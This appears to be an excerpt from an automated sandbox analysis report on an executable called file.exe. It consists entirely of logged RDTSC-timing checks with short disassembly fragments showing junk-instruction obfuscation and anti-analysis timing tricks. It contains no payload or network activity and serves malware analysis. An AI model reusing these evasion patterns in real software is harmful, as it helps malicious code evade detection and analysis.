Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112FFDD second address: 1130004 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jp 00007FC7C8E02069h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1130517 second address: 1130522 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007FC7C8E00066h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113072C second address: 1130744 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007FC7C8E02056h 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 je 00007FC7C8E02056h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1130744 second address: 113075F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC7C8E00072h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1130B97 second address: 1130B9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1130C04 second address: 1130C63 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC7C8E00077h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b jnc 00007FC7C8E0007Fh 0x00000011 pop esi 0x00000012 xchg eax, ebx 0x00000013 jns 00007FC7C8E0006Ch 0x00000019 mov dword ptr [ebp+122D1D96h], eax 0x0000001f nop 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FC7C8E00072h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1130C63 second address: 1130C6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FC7C8E02056h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1130E55 second address: 1130E59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1131233 second address: 1131239 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1131239 second address: 113123D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1131739 second address: 1131783 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push esi 0x00000009 jnc 00007FC7C8E02058h 0x0000000f pushad 0x00000010 popad 0x00000011 pop esi 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push esi 0x00000016 call 00007FC7C8E02058h 0x0000001b pop esi 0x0000001c mov dword ptr [esp+04h], esi 0x00000020 add dword ptr [esp+04h], 00000015h 0x00000028 inc esi 0x00000029 push esi 0x0000002a ret 0x0000002b pop esi 0x0000002c ret 0x0000002d mov dword ptr [ebp+122D2B61h], eax 0x00000033 push 00000000h 0x00000035 add di, 3AEEh 0x0000003a push 00000000h 0x0000003c mov edi, dword ptr [ebp+122D39A8h] 0x00000042 push eax 0x00000043 push edx 0x00000044 push ecx 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11332CE second address: 113331B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 movsx edi, ax 0x0000000a mov esi, 677D72CDh 0x0000000f push 00000000h 0x00000011 jmp 00007FC7C8E0006Bh 0x00000016 push 00000000h 0x00000018 mov dword ptr [ebp+1247BA5Bh], esi 0x0000001e jmp 00007FC7C8E0006Fh 0x00000023 xchg eax, ebx 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FC7C8E00077h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11329FF second address: 1132A05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113331B second address: 113334B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 js 00007FC7C8E00066h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jc 00007FC7C8E0007Eh 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1132A05 second address: 1132A0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113334B second address: 113334F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1132A0A second address: 1132A0F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1133D22 second address: 1133D26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EDCD9 second address: 10EDCDF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113456F second address: 1134575 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1134575 second address: 113457B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113457B second address: 113457F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113457F second address: 113459D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 je 00007FC7C8E0206Fh 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FC7C8E0205Dh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113674A second address: 1136754 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FC7C8E00066h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11371FE second address: 1137208 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FC7C8E02056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1136482 second address: 1136494 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FC7C8E00066h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007FC7C8E00066h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A3BC second address: 113A3C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113B30B second address: 113B314 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1137A9F second address: 1137AA9 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FC7C8E02056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1137AA9 second address: 1137AC3 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FC7C8E0006Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edi 0x0000000c jbe 00007FC7C8E0006Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113C3B3 second address: 113C3CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC7C8E0205Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b jp 00007FC7C8E02064h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113C3CD second address: 113C3D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113C3D1 second address: 113C418 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ebx 0x0000000a call 00007FC7C8E02058h 0x0000000f pop ebx 0x00000010 mov dword ptr [esp+04h], ebx 0x00000014 add dword ptr [esp+04h], 00000019h 0x0000001c inc ebx 0x0000001d push ebx 0x0000001e ret 0x0000001f pop ebx 0x00000020 ret 0x00000021 mov edi, 6E992584h 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a sub bl, FFFFFFD2h 0x0000002d xchg eax, esi 0x0000002e jmp 00007FC7C8E0205Bh 0x00000033 push eax 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113C418 second address: 113C41C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113C41C second address: 113C422 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A5ED second address: 113A5F2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113D371 second address: 113D3D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC7C8E02068h 0x00000009 popad 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push edi 0x0000000e call 00007FC7C8E02058h 0x00000013 pop edi 0x00000014 mov dword ptr [esp+04h], edi 0x00000018 add dword ptr [esp+04h], 00000018h 0x00000020 inc edi 0x00000021 push edi 0x00000022 ret 0x00000023 pop edi 0x00000024 ret 0x00000025 mov bx, di 0x00000028 push 00000000h 0x0000002a clc 0x0000002b push 00000000h 0x0000002d xor ebx, dword ptr [ebp+122D3850h] 0x00000033 xchg eax, esi 0x00000034 push edx 0x00000035 jmp 00007FC7C8E0205Eh 0x0000003a pop edx 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f pushad 0x00000040 popad 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113D3D6 second address: 113D3DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113B5A2 second address: 113B5A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113E434 second address: 113E43A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113E43A second address: 113E4C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push esi 0x00000007 push esi 0x00000008 pushad 0x00000009 popad 0x0000000a pop esi 0x0000000b pop esi 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007FC7C8E02058h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 00000019h 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 push 00000000h 0x00000029 call 00007FC7C8E0205Dh 0x0000002e mov bx, cx 0x00000031 pop ebx 0x00000032 push 00000000h 0x00000034 jnp 00007FC7C8E0205Ch 0x0000003a pushad 0x0000003b mov edx, eax 0x0000003d push ebx 0x0000003e pop edi 0x0000003f popad 0x00000040 xchg eax, esi 0x00000041 pushad 0x00000042 jmp 00007FC7C8E02068h 0x00000047 jmp 00007FC7C8E02068h 0x0000004c popad 0x0000004d push eax 0x0000004e push eax 0x0000004f push edx 0x00000050 push ecx 0x00000051 pushad 0x00000052 popad 0x00000053 pop ecx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113E4C3 second address: 113E4C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113E4C9 second address: 113E4CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113F473 second address: 113F479 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113F479 second address: 113F47D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113F47D second address: 113F4B7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 ja 00007FC7C8E00073h 0x0000000f nop 0x00000010 jne 00007FC7C8E00066h 0x00000016 push 00000000h 0x00000018 mov edi, ebx 0x0000001a mov dword ptr [ebp+1247B36Ah], esi 0x00000020 push 00000000h 0x00000022 xchg eax, esi 0x00000023 push eax 0x00000024 push edx 0x00000025 ja 00007FC7C8E00068h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113F4B7 second address: 113F4C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FC7C8E02056h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113D525 second address: 113D52B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113D52B second address: 113D548 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FC7C8E02056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007FC7C8E0205Bh 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113D548 second address: 113D54C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113D5EE second address: 113D5F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113D5F4 second address: 113D5F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113F5D6 second address: 113F5DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113F5DC second address: 113F5E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113E61A second address: 113E620 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113E620 second address: 113E624 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1141387 second address: 1141394 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1141394 second address: 1141398 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113E70C second address: 113E710 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1141398 second address: 114139E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114139E second address: 11413A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114057E second address: 1140588 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FC7C8E0006Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1140588 second address: 1140594 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1140594 second address: 1140599 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1142421 second address: 1142425 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1141541 second address: 114154A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11452AA second address: 11452AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11452AE second address: 11452B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11463C6 second address: 11463CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11463CA second address: 11463CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11443F2 second address: 11443F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11443F6 second address: 11443FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11444D1 second address: 1144504 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007FC7C8E02062h 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FC7C8E02067h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1144504 second address: 114450A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11454AE second address: 1145572 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FC7C8E02056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c jmp 00007FC7C8E02068h 0x00000011 nop 0x00000012 pushad 0x00000013 sub eax, dword ptr [ebp+122D1BA8h] 0x00000019 sub dword ptr [ebp+12479DBBh], ebx 0x0000001f popad 0x00000020 push dword ptr fs:[00000000h] 0x00000027 or di, 1900h 0x0000002c mov dword ptr fs:[00000000h], esp 0x00000033 jmp 00007FC7C8E0205Eh 0x00000038 mov ebx, dword ptr [ebp+122D37CCh] 0x0000003e mov eax, dword ptr [ebp+122D0009h] 0x00000044 push 00000000h 0x00000046 push ebx 0x00000047 call 00007FC7C8E02058h 0x0000004c pop ebx 0x0000004d mov dword ptr [esp+04h], ebx 0x00000051 add dword ptr [esp+04h], 00000019h 0x00000059 inc ebx 0x0000005a push ebx 0x0000005b ret 0x0000005c pop ebx 0x0000005d ret 0x0000005e xor ebx, dword ptr [ebp+122D2006h] 0x00000064 mov dword ptr [ebp+1244FAF9h], ecx 0x0000006a push FFFFFFFFh 0x0000006c sbb bh, FFFFFFE4h 0x0000006f nop 0x00000070 pushad 0x00000071 push edx 0x00000072 jns 00007FC7C8E02056h 0x00000078 pop edx 0x00000079 pushad 0x0000007a jmp 00007FC7C8E02069h 0x0000007f jg 00007FC7C8E02056h 0x00000085 popad 0x00000086 popad 0x00000087 push eax 0x00000088 pushad 0x00000089 push eax 0x0000008a push edx 0x0000008b push eax 0x0000008c push edx 0x0000008d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1145572 second address: 1145576 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1145576 second address: 1145580 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1147507 second address: 114752F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FC7C8E00079h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114752F second address: 1147533 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1147533 second address: 1147539 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1147539 second address: 114753F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1147620 second address: 1147631 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jp 00007FC7C8E00068h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1149557 second address: 114955D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114955D second address: 1149562 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115083E second address: 1150842 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1150842 second address: 115084D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115084D second address: 1150853 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1150202 second address: 115022C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC7C8E0006Fh 0x00000008 jmp 00007FC7C8E00076h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11503D5 second address: 11503DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1157565 second address: 1157579 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC7C8E00070h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115CB0D second address: 115CB23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FC7C8E02056h 0x0000000a jmp 00007FC7C8E0205Bh 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115B85A second address: 115B863 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 rdtsc
